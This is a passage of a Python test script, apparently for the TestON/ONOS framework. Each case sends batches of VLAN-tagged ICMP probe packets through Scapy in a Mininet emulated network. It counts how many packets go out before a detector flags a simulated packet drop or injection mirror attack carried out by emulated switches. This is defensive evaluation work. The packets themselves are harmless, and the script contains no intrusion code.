Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 3 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 3 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE804( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 4 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 4 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE805( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 5 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 5 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE806( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 6 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 6 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE807( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 7 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 7 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE808( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 8 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 8 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE809( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 9 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 9 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE900( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
import random
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
#main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
#main.CLIs[ 0 ].clearLog( )
#attackFound = main.CLIs[ 0 ].isDropAttack( )
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
## main.step( "First clear the logs on ONOS" )
## main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
## clearLogResult = main.CLIs[ 0 ].clearLog( )
## utilities.assert_equals( expect=main.TRUE,
## actual=clearLogResult,
## onpass="Successfully cleared ONOS logs",
## onfail="Failed to clear ONOS logs" )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
## main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
## main.Mininet1.handle.expect( "mininet>" )
## flowTable = main.Mininet1.handle.before
## flowTable = flowTable.split( "\r\n" )
## testChksums = []
## for flow in flowTable:
## main.log.info( "flow:" + str( flow ) )
## if re.search( "dl_vlan", flow ):
## chksumFlow = []
## chksumAlmost = []
## chksumFlow = flow.split( "dl_vlan=" )
## chksumAlmost = chksumFlow[ 1 ].split( " " )
## chksumUse = chksumAlmost[ 0 ]
## main.log.info( "got:" + str( chksumUse ) )
## testChksums.append( int( chksumUse ) )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 0 ):
#for chksum in testChksums:
chksum = int( chksum ) & 4095
#main.log.info( "Going to send packet with checksum value:" + str( chksum ) )
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
#main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
#clearLogResult = main.CLIs[ 0 ].clearLog( )
## utilities.assert_equals( expect=main.TRUE,
## actual=clearLogResult,
## onpass="Successfully cleared ONOS logs",
## onfail="Failed to clear ONOS logs" )
#main.log.info( "Attack Packet is:" + str( attackPacket) )
if len( attackPackets ) == 100:
#if len( attackPackets ) == 19:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
#pktCounter += 19
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
#for chksumValue in testChksums:
for chksumValue in main.chksums.get( 0 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
## if attackedHashValue == 4096:
## main.log.error( "Did not find the attacked hash value" )
## utilities.assert_equals( expect=main.TRUE,
## actual=main.FALSE,
## onpass="Successfully found the no. of packets to detect the drop attack",
## onfail="Failed to find the attacked hash value on a drop attack" )
## else:
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE901( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 1 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 1 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE902( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 2 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 2 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
